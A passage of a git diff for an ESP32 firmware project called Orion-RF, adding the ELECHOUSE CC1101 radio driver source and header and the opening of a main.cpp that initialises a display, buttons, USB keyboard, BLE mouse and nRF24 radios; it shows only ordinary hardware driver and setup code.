+*FUNCTION :Controls address check configuration of received packages
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setAdrChk(byte v){
+Split_PKTCTRL1();
+pc1ADRCHK = 0;
+if (v>3){v=3;}
+pc1ADRCHK = v;
+SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
+}
+/****************************************************************
+*FUNCTION NAME:Set WHITE_DATA
+*FUNCTION :Turn data whitening on / off.
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setWhiteData(bool v){
+Split_PKTCTRL0();
+pc0WDATA = 0;
+if (v == 1){pc0WDATA=64;}
+SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
+}
+/****************************************************************
+*FUNCTION NAME:Set PKT_FORMAT
+*FUNCTION :Format of RX and TX data
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setPktFormat(byte v){
+Split_PKTCTRL0();
+pc0PktForm = 0;
+if (v>3){v=3;}
+pc0PktForm = v*16;
+SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
+}
+/****************************************************************
+*FUNCTION NAME:Set CRC
+*FUNCTION :CRC calculation in TX and CRC check in RX
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setCrc(bool v){
+Split_PKTCTRL0();
+pc0CRC_EN = 0;
+if (v==1){pc0CRC_EN=4;}
+SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
+}
+/****************************************************************
+*FUNCTION NAME:Set LENGTH_CONFIG
+*FUNCTION :Configure the packet length
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setLengthConfig(byte v){
+Split_PKTCTRL0();
+pc0LenConf = 0;
+if (v>3){v=3;}
+pc0LenConf = v;
+SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
+}
+/****************************************************************
+*FUNCTION NAME:Set PACKET_LENGTH
+*FUNCTION :Indicates the packet length
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setPacketLength(byte v){
+SpiWriteReg(CC1101_PKTLEN, v);
+}
+/****************************************************************
+*FUNCTION NAME:Set DCFILT_OFF
+*FUNCTION :Disable digital DC blocking filter before demodulator
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setDcFilterOff(bool v){
+Split_MDMCFG2();
+m2DCOFF = 0;
+if (v==1){m2DCOFF=128;}
+SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
+}
+/****************************************************************
+*FUNCTION NAME:Set MANCHESTER
+*FUNCTION :Enables Manchester encoding/decoding
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setManchester(bool v){
+Split_MDMCFG2();
+m2MANCH = 0;
+if (v==1){m2MANCH=8;}
+SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
+}
+/****************************************************************
+*FUNCTION NAME:Set SYNC_MODE
+*FUNCTION :Combined sync-word qualifier mode
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setSyncMode(byte v){
+Split_MDMCFG2();
+m2SYNCM = 0;
+if (v>7){v=7;}
+m2SYNCM=v;
+SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
+}
+/****************************************************************
+*FUNCTION NAME:Set FEC
+*FUNCTION :Enable Forward Error Correction (FEC)
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setFEC(bool v){
+Split_MDMCFG1();
+m1FEC=0;
+if (v==1){m1FEC=128;}
+SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);
+}
+/****************************************************************
+*FUNCTION NAME:Set PRE
+*FUNCTION :Sets the minimum number of preamble bytes to be transmitted.
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setPRE(byte v){
+Split_MDMCFG1();
+m1PRE=0;
+if (v>7){v=7;}
+m1PRE = v*16;
+SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);
+}
+/****************************************************************
+*FUNCTION NAME:Set Channel
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setChannel(byte ch){
+chan = ch;
+SpiWriteReg(CC1101_CHANNR, chan);
+}
+/****************************************************************
+*FUNCTION NAME:Set Channel spacing
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setChsp(float f){
+Split_MDMCFG1();
+byte MDMCFG0 = 0;
+m1CHSP = 0;
+if (f > 405.456543){f = 405.456543;}
+if (f < 25.390625){f = 25.390625;}
+for (int i = 0; i<5; i++){
+if (f <= 50.682068){
+f -= 25.390625;
+f /= 0.0991825;
+MDMCFG0 = f;
+float s1 = (f - MDMCFG0) *10;
+if (s1 >= 5){MDMCFG0++;}
+i = 5;
+}else{
+m1CHSP++;
+f/=2;
+}
+}
+SpiWriteReg(19,m1CHSP+m1FEC+m1PRE);
+SpiWriteReg(20,MDMCFG0);
+}
+/****************************************************************
+*FUNCTION NAME:Set Receive bandwidth
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setRxBW(float f){
+Split_MDMCFG4();
+int s1 = 3;
+int s2 = 3;
+for (int i = 0; i<3; i++){
+if (f > 101.5625){f/=2; s1--;}
+else{i=3;}
+}
+for (int i = 0; i<3; i++){
+if (f > 58.1){f/=1.25; s2--;}
+else{i=3;}
+}
+s1 *= 64;
+s2 *= 16;
+m4RxBw = s1 + s2;
+SpiWriteReg(16,m4RxBw+m4DaRa);
+}
+/****************************************************************
+*FUNCTION NAME:Set Data Rate
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setDRate(float d){
+Split_MDMCFG4();
+float c = d;
+byte MDMCFG3 = 0;
+if (c > 1621.83){c = 1621.83;}
+if (c < 0.0247955){c = 0.0247955;}
+m4DaRa = 0;
+for (int i = 0; i<20; i++){
+if (c <= 0.0494942){
+c = c - 0.0247955;
+c = c / 0.00009685;
+MDMCFG3 = c;
+float s1 = (c - MDMCFG3) *10;
+if (s1 >= 5){MDMCFG3++;}
+i = 20;
+}else{
+m4DaRa++;
+c = c/2;
+}
+}
+SpiWriteReg(16, m4RxBw+m4DaRa);
+SpiWriteReg(17, MDMCFG3);
+}
+/****************************************************************
+*FUNCTION NAME:Set Devitation
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setDeviation(float d){
+float f = 1.586914;
+float v = 0.19836425;
+int c = 0;
+if (d > 380.859375){d = 380.859375;}
+if (d < 1.586914){d = 1.586914;}
+for (int i = 0; i<255; i++){
+f+=v;
+if (c==7){v*=2;c=-1;i+=8;}
+if (f>=d){c=i;i=255;}
+c++;
+}
+SpiWriteReg(21,c);
+}
+/****************************************************************
+*FUNCTION NAME:Split PKTCTRL0
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Split_PKTCTRL1(void){
+int calc = SpiReadStatus(7);
+pc1PQT = 0;
+pc1CRC_AF = 0;
+pc1APP_ST = 0;
+pc1ADRCHK = 0;
+for (bool i = 0; i==0;){
+if (calc >= 32){calc-=32; pc1PQT+=32;}
+else if (calc >= 8){calc-=8; pc1CRC_AF+=8;}
+else if (calc >= 4){calc-=4; pc1APP_ST+=4;}
+else {pc1ADRCHK = calc; i=1;}
+}
+}
+/****************************************************************
+*FUNCTION NAME:Split PKTCTRL0
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Split_PKTCTRL0(void){
+int calc = SpiReadStatus(8);
+pc0WDATA = 0;
+pc0PktForm = 0;
+pc0CRC_EN = 0;
+pc0LenConf = 0;
+for (bool i = 0; i==0;){
+if (calc >= 64){calc-=64; pc0WDATA+=64;}
+else if (calc >= 16){calc-=16; pc0PktForm+=16;}
+else if (calc >= 4){calc-=4; pc0CRC_EN+=4;}
+else {pc0LenConf = calc; i=1;}
+}
+}
+/****************************************************************
+*FUNCTION NAME:Split MDMCFG1
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Split_MDMCFG1(void){
+int calc = SpiReadStatus(19);
+m1FEC = 0;
+m1PRE = 0;
+m1CHSP = 0;
+int s2 = 0;
+for (bool i = 0; i==0;){
+if (calc >= 128){calc-=128; m1FEC+=128;}
+else if (calc >= 16){calc-=16; m1PRE+=16;}
+else {m1CHSP = calc; i=1;}
+}
+}
+/****************************************************************
+*FUNCTION NAME:Split MDMCFG2
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Split_MDMCFG2(void){
+int calc = SpiReadStatus(18);
+m2DCOFF = 0;
+m2MODFM = 0;
+m2MANCH = 0;
+m2SYNCM = 0;
+for (bool i = 0; i==0;){
+if (calc >= 128){calc-=128; m2DCOFF+=128;}
+else if (calc >= 16){calc-=16; m2MODFM+=16;}
+else if (calc >= 8){calc-=8; m2MANCH+=8;}
+else{m2SYNCM = calc; i=1;}
+}
+}
+/****************************************************************
+*FUNCTION NAME:Split MDMCFG4
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Split_MDMCFG4(void){
+int calc = SpiReadStatus(16);
+m4RxBw = 0;
+m4DaRa = 0;
+for (bool i = 0; i==0;){
+if (calc >= 64){calc-=64; m4RxBw+=64;}
+else if (calc >= 16){calc -= 16; m4RxBw+=16;}
+else{m4DaRa = calc; i=1;}
+}
+}
+/****************************************************************
+*FUNCTION NAME:RegConfigSettings
+*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100//
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::RegConfigSettings(void)
+{
+ SpiWriteReg(CC1101_FSCTRL1, 0x06);
+
+ setCCMode(ccmode);
+ setMHZ(MHz);
+
+ SpiWriteReg(CC1101_MDMCFG1, 0x02);
+ SpiWriteReg(CC1101_MDMCFG0, 0xF8);
+ SpiWriteReg(CC1101_CHANNR, chan);
+ SpiWriteReg(CC1101_DEVIATN, 0x47);
+ SpiWriteReg(CC1101_FREND1, 0x56);
+ SpiWriteReg(CC1101_MCSM0 , 0x18);
+ SpiWriteReg(CC1101_FOCCFG, 0x16);
+ SpiWriteReg(CC1101_BSCFG, 0x1C);
+ SpiWriteReg(CC1101_AGCCTRL2, 0xC7);
+ SpiWriteReg(CC1101_AGCCTRL1, 0x00);
+ SpiWriteReg(CC1101_AGCCTRL0, 0xB2);
+ SpiWriteReg(CC1101_FSCAL3, 0xE9);
+ SpiWriteReg(CC1101_FSCAL2, 0x2A);
+ SpiWriteReg(CC1101_FSCAL1, 0x00);
+ SpiWriteReg(CC1101_FSCAL0, 0x1F);
+ SpiWriteReg(CC1101_FSTEST, 0x59);
+ SpiWriteReg(CC1101_TEST2, 0x81);
+ SpiWriteReg(CC1101_TEST1, 0x35);
+ SpiWriteReg(CC1101_TEST0, 0x09);
+ SpiWriteReg(CC1101_PKTCTRL1, 0x04);
+ SpiWriteReg(CC1101_ADDR, 0x00);
+ SpiWriteReg(CC1101_PKTLEN, 0x00);
+}
+/****************************************************************
+*FUNCTION NAME:SetTx
+*FUNCTION :set CC1101 send data
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SetTx(void)
+{
+ SpiStrobe(CC1101_SIDLE);
+ SpiStrobe(CC1101_STX); //start send
+ trxstate=1;
+}
+/****************************************************************
+*FUNCTION NAME:SetRx
+*FUNCTION :set CC1101 to receive state
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SetRx(void)
+{
+ SpiStrobe(CC1101_SIDLE);
+ SpiStrobe(CC1101_SRX); //start receive
+ trxstate=2;
+}
+/****************************************************************
+*FUNCTION NAME:SetTx
+*FUNCTION :set CC1101 send data and change frequency
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SetTx(float mhz)
+{
+ SpiStrobe(CC1101_SIDLE);
+ setMHZ(mhz);
+ SpiStrobe(CC1101_STX); //start send
+ trxstate=1;
+}
+/****************************************************************
+*FUNCTION NAME:SetRx
+*FUNCTION :set CC1101 to receive state and change frequency
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SetRx(float mhz)
+{
+ SpiStrobe(CC1101_SIDLE);
+ setMHZ(mhz);
+ SpiStrobe(CC1101_SRX); //start receive
+ trxstate=2;
+}
+/****************************************************************
+*FUNCTION NAME:RSSI Level
+*FUNCTION :Calculating the RSSI Level
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+int ELECHOUSE_CC1101::getRssi(void)
+{
+int rssi;
+rssi=SpiReadStatus(CC1101_RSSI);
+if (rssi >= 128){rssi = (rssi-256)/2-74;}
+else{rssi = (rssi/2)-74;}
+return rssi;
+}
+/****************************************************************
+*FUNCTION NAME:LQI Level
+*FUNCTION :get Lqi state
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+byte ELECHOUSE_CC1101::getLqi(void)
+{
+byte lqi;
+lqi=SpiReadStatus(CC1101_LQI);
+return lqi;
+}
+/****************************************************************
+*FUNCTION NAME:SetSres
+*FUNCTION :Reset CC1101
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setSres(void)
+{
+ SpiStrobe(CC1101_SRES);
+ trxstate=0;
+}
+/****************************************************************
+*FUNCTION NAME:setSidle
+*FUNCTION :set Rx / TX Off
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setSidle(void)
+{
+ SpiStrobe(CC1101_SIDLE);
+ trxstate=0;
+}
+/****************************************************************
+*FUNCTION NAME:goSleep
+*FUNCTION :set cc1101 Sleep on
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::goSleep(void){
+ trxstate=0;
+ SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit
+ SpiStrobe(0x39);//Enter power down mode when CSn goes high.
+}
+/****************************************************************
+*FUNCTION NAME:Char direct SendData
+*FUNCTION :use CC1101 send data
+*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SendData(char *txchar)
+{
+int len = strlen(txchar);
+byte chartobyte[len];
+for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}
+SendData(chartobyte,len);
+}
+/****************************************************************
+*FUNCTION NAME:SendData
+*FUNCTION :use CC1101 send data
+*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size)
+{
+ SpiWriteReg(CC1101_TXFIFO,size);
+ SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size); //write data to send
+ SpiStrobe(CC1101_SIDLE);
+ SpiStrobe(CC1101_STX); //start send
+ while (!digitalRead(GDO0)); // Wait for GDO0 to be set -> sync transmitted
+ while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet
+ SpiStrobe(CC1101_SFTX); //flush TXfifo
+ trxstate=1;
+}
+/****************************************************************
+*FUNCTION NAME:Char direct SendData
+*FUNCTION :use CC1101 send data without GDO
+*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SendData(char *txchar,int t)
+{
+int len = strlen(txchar);
+byte chartobyte[len];
+for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}
+SendData(chartobyte,len,t);
+}
+/****************************************************************
+*FUNCTION NAME:SendData
+*FUNCTION :use CC1101 send data without GDO
+*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size,int t)
+{
+ SpiWriteReg(CC1101_TXFIFO,size);
+ SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size); //write data to send
+ SpiStrobe(CC1101_SIDLE);
+ SpiStrobe(CC1101_STX); //start send
+ delay(t);
+ SpiStrobe(CC1101_SFTX); //flush TXfifo
+ trxstate=1;
+}
+/****************************************************************
+*FUNCTION NAME:Check CRC
+*FUNCTION :none
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+bool ELECHOUSE_CC1101::CheckCRC(void){
+byte lqi=SpiReadStatus(CC1101_LQI);
+bool crc_ok = bitRead(lqi,7);
+if (crc_ok == 1){
+return 1;
+}else{
+SpiStrobe(CC1101_SFRX);
+SpiStrobe(CC1101_SRX);
+return 0;
+}
+}
+/****************************************************************
+*FUNCTION NAME:CheckRxFifo
+*FUNCTION :check receive data or not
+*INPUT :none
+*OUTPUT :flag: 0 no data; 1 receive data
+****************************************************************/
+bool ELECHOUSE_CC1101::CheckRxFifo(int t){
+if(trxstate!=2){SetRx();}
+if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO){
+delay(t);
+return 1;
+}else{
+return 0;
+}
+}
+/****************************************************************
+*FUNCTION NAME:CheckReceiveFlag
+*FUNCTION :check receive data or not
+*INPUT :none
+*OUTPUT :flag: 0 no data; 1 receive data
+****************************************************************/
+byte ELECHOUSE_CC1101::CheckReceiveFlag(void)
+{
+ if(trxstate!=2){SetRx();}
+ if(digitalRead(GDO0)) //receive data
+ {
+ while (digitalRead(GDO0));
+ return 1;
+ }
+ else // no data
+ {
+ return 0;
+ }
+}
+/****************************************************************
+*FUNCTION NAME:ReceiveData
+*FUNCTION :read data received from RXfifo
+*INPUT :rxBuffer: buffer to store data
+*OUTPUT :size of data received
+****************************************************************/
+byte ELECHOUSE_CC1101::ReceiveData(byte *rxBuffer)
+{
+ byte size;
+ byte status[2];
+
+ if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO)
+ {
+ size=SpiReadReg(CC1101_RXFIFO);
+ SpiReadBurstReg(CC1101_RXFIFO,rxBuffer,size);
+ SpiReadBurstReg(CC1101_RXFIFO,status,2);
+ SpiStrobe(CC1101_SFRX);
+ SpiStrobe(CC1101_SRX);
+ return size;
+ }
+ else
+ {
+ SpiStrobe(CC1101_SFRX);
+ SpiStrobe(CC1101_SRX);
+ return 0;
+ }
+}
+ELECHOUSE_CC1101 ELECHOUSE_cc1101;
\ No newline at end of file diff --git a/src/libs/ELECHOUSE_CC1101_SRC_DRV.h b/src/libs/ELECHOUSE_CC1101_SRC_DRV.h new file mode 100644 index 0000000..136a9b5 --- /dev/null +++ b/src/libs/ELECHOUSE_CC1101_SRC_DRV.h @@ -0,0 +1,194 @@ +/*
+ ELECHOUSE_CC1101.cpp - CC1101 module library
+ Copyright (c) 2010 Michael.
+ Author: Michael, <www.elechouse.com>
+ Version: November 12, 2010
+
+ This library is designed to use CC1101/CC1100 module on Arduino platform.
+ CC1101/CC1100 module is an useful wireless module.Using the functions of the
+ library, you can easily send and receive data by the CC1101/CC1100 module.
+ Just have fun!
+ For the details, please refer to the datasheet of CC1100/CC1101.
+----------------------------------------------------------------------------------------------------------------
+cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).
+----------------------------------------------------------------------------------------------------------------
+*/
+#ifndef ELECHOUSE_CC1101_SRC_DRV_h
+#define ELECHOUSE_CC1101_SRC_DRV_h
+
+#include <Arduino.h>
+
+//***************************************CC1101 define**************************************************//
+// CC1101 CONFIG REGSITER
+#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration
+#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration
+#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration
+#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds
+#define CC1101_SYNC1 0x04 // Sync word, high INT8U
+#define CC1101_SYNC0 0x05 // Sync word, low INT8U
+#define CC1101_PKTLEN 0x06 // Packet length
+#define CC1101_PKTCTRL1 0x07 // Packet automation control
+#define CC1101_PKTCTRL0 0x08 // Packet automation control
+#define CC1101_ADDR 0x09 // Device address
+#define CC1101_CHANNR 0x0A // Channel number
+#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control
+#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control
+#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U
+#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U
+#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U
+#define CC1101_MDMCFG4 0x10 // Modem configuration
+#define CC1101_MDMCFG3 0x11 // Modem configuration
+#define CC1101_MDMCFG2 0x12 // Modem configuration
+#define CC1101_MDMCFG1 0x13 // Modem configuration
+#define CC1101_MDMCFG0 0x14 // Modem configuration
+#define CC1101_DEVIATN 0x15 // Modem deviation setting
+#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration
+#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration
+#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration
+#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration
+#define CC1101_BSCFG 0x1A // Bit Synchronization configuration
+#define CC1101_AGCCTRL2 0x1B // AGC control
+#define CC1101_AGCCTRL1 0x1C // AGC control
+#define CC1101_AGCCTRL0 0x1D // AGC control
+#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout
+#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout
+#define CC1101_WORCTRL 0x20 // Wake On Radio control
+#define CC1101_FREND1 0x21 // Front end RX configuration
+#define CC1101_FREND0 0x22 // Front end TX configuration
+#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration
+#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration
+#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration
+#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration
+#define CC1101_RCCTRL1 0x27 // RC oscillator configuration
+#define CC1101_RCCTRL0 0x28 // RC oscillator configuration
+#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control
+#define CC1101_PTEST 0x2A // Production test
+#define CC1101_AGCTEST 0x2B // AGC test
+#define CC1101_TEST2 0x2C // Various test settings
+#define CC1101_TEST1 0x2D // Various test settings
+#define CC1101_TEST0 0x2E // Various test settings
+
+//CC1101 Strobe commands
+#define CC1101_SRES 0x30 // Reset chip.
+#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
+ // If in RX/TX: Go to a wait state where only the synthesizer is
+ // running (for quick RX / TX turnaround).
+#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.
+#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off
+ // (enables quick start).
+#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and
+ // MCSM0.FS_AUTOCAL=1.
+#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if
+ // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:
+ // Only go to TX if channel is clear.
+#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit
+ // Wake-On-Radio mode if applicable.
+#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer
+#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)
+#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high.
+#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.
+#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.
+#define CC1101_SWORRST 0x3C // Reset real time clock.
+#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two
+ // INT8Us for simpler software.
+//CC1101 STATUS REGSITER
+#define CC1101_PARTNUM 0x30
+#define CC1101_VERSION 0x31
+#define CC1101_FREQEST 0x32
+#define CC1101_LQI 0x33
+#define CC1101_RSSI 0x34
+#define CC1101_MARCSTATE 0x35
+#define CC1101_WORTIME1 0x36
+#define CC1101_WORTIME0 0x37
+#define CC1101_PKTSTATUS 0x38
+#define CC1101_VCO_VC_DAC 0x39
+#define CC1101_TXBYTES 0x3A
+#define CC1101_RXBYTES 0x3B
+
+//CC1101 PATABLE,TXFIFO,RXFIFO
+#define CC1101_PATABLE 0x3E
+#define CC1101_TXFIFO 0x3F
+#define CC1101_RXFIFO 0x3F
+
+//************************************* class **************************************************//
+class ELECHOUSE_CC1101
+{
+private:
+ void SpiStart(void);
+ void SpiEnd(void);
+ void GDO_Set (void);
+ void GDO0_Set (void);
+ void Reset (void);
+ void setSpi(void);
+ void RegConfigSettings(void);
+ void Calibrate(void);
+ void Split_PKTCTRL0(void);
+ void Split_PKTCTRL1(void);
+ void Split_MDMCFG1(void);
+ void Split_MDMCFG2(void);
+ void Split_MDMCFG4(void);
+public:
+ void Init(void);
+ byte SpiReadStatus(byte addr);
+ void setSpiPin(byte sck, byte miso, byte mosi, byte ss);
+ void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);
+ void setGDO(byte gdo0, byte gdo2);
+ void setGDO0(byte gdo0);
+ void addGDO(byte gdo0, byte gdo2, byte modul);
+ void addGDO0(byte gdo0, byte modul);
+ void setModul(byte modul);
+ void setCCMode(bool s);
+ void setModulation(byte m);
+ void setPA(int p);
+ void setMHZ(float mhz);
+ void setChannel(byte chnl);
+ void setChsp(float f);
+ void setRxBW(float f);
+ void setDRate(float d);
+ void setDeviation(float d);
+ void SetTx(void);
+ void SetRx(void);
+ void SetTx(float mhz);
+ void SetRx(float mhz);
+ int getRssi(void);
+ byte getLqi(void);
+ void setSres(void);
+ void setSidle(void);
+ void goSleep(void);
+ void SendData(byte *txBuffer, byte size);
+ void SendData(char *txchar);
+ void SendData(byte *txBuffer, byte size, int t);
+ void SendData(char *txchar, int t);
+ byte CheckReceiveFlag(void);
+ byte ReceiveData(byte *rxBuffer);
+ bool CheckCRC(void);
+ void SpiStrobe(byte strobe);
+ void SpiWriteReg(byte addr, byte value);
+ void SpiWriteBurstReg(byte addr, byte *buffer, byte num);
+ byte SpiReadReg(byte addr);
+ void SpiReadBurstReg(byte addr, byte *buffer, byte num);
+ void setClb(byte b, byte s, byte e);
+ bool getCC1101(void);
+ byte getMode(void);
+ void setSyncWord(byte sh, byte sl);
+ void setAddr(byte v);
+ void setWhiteData(bool v);
+ void setPktFormat(byte v);
+ void setCrc(bool v);
+ void setLengthConfig(byte v);
+ void setPacketLength(byte v);
+ void setDcFilterOff(bool v);
+ void setManchester(bool v);
+ void setSyncMode(byte v);
+ void setFEC(bool v);
+ void setPRE(byte v);
+ void setPQT(byte v);
+ void setCRC_AF(bool v);
+ void setAppendStatus(bool v);
+ void setAdrChk(byte v);
+ bool CheckRxFifo(int t);
+};
+
+extern ELECHOUSE_CC1101 ELECHOUSE_cc1101;
+
+#endif
\ No newline at end of file diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..08d18a4 --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,142 @@ +#include <Arduino.h> +#include <USB.h> +#include <USBHIDKeyboard.h> + +#include <BLEDevice.h> +#include <BLEScan.h> +#include "libs/BleMouse.h" + +#include <RF24.h> +#include <nRF24L01.h> + +#include "libs/ELECHOUSE_CC1101_SRC_DRV.h" + +#include <WiFi.h> +#include <esp_wifi.h> + +#include <esp_chip_info.h> +#include <esp_heap_caps.h> +#include <esp_system.h> +#include <SPI.h> + + +#include "ui/display.h" +#include "buttons.h" +#include "ui/menu.h" + +#include "config.h" +#include "rf/cc1101.h" + +// ================= USB HID ================= +USBHIDKeyboard Keyboard; + +// ===== BLE MOUSE ===== +BleMouse bleMouse("Orion-RF", "Orion-RF", 100); + + +RF24 radio1(CE1_PIN, CSN1_PIN); +RF24 radio2(CE2_PIN, CSN2_PIN); +SPIClass *RADIO_SPI; + + +void deactivateNRF1() { + digitalWrite(CSN1_PIN, HIGH); + digitalWrite(CE1_PIN, LOW); +} + +void deactivateNRF2() { + digitalWrite(CSN2_PIN, HIGH); + digitalWrite(CE2_PIN, LOW); +} + + +// ================= SYSTEM INFO ================= +void printSystemUsage() +{ + esp_chip_info_t chip_info; + + esp_chip_info(&chip_info); + + Serial.printf("CPU cores: %d\n", chip_info.cores); + + Serial.printf( + "Free heap: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_DEFAULT) + ); + + Serial.printf( + "PSRAM free: %d bytes\n", + heap_caps_get_free_size(MALLOC_CAP_SPIRAM) + ); +} + +void showSplash() +{ + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_logisoso20_tr); // big font + u8g2.drawStr(10, 40, "Orion-RF"); + + u8g2.setFont(u8g2_font_5x8_tr); // small subtitle + u8g2.drawStr(25, 58, "Initializing..."); + + u8g2.sendBuffer(); + + delay(1500); // 1.5 sec +} + + +// ================= SETUP ================= +void setup() +{ + Serial.begin(115200); + + displayInit(); + showSplash(); + + buttonsInit(); + menuInit(); + + delay(1500); + + USB.begin(); + Keyboard.begin(); + + + + // NRF SPI safety + //pinMode(CSN1_PIN, OUTPUT); + //digitalWrite(CSN1_PIN, HIGH); + + 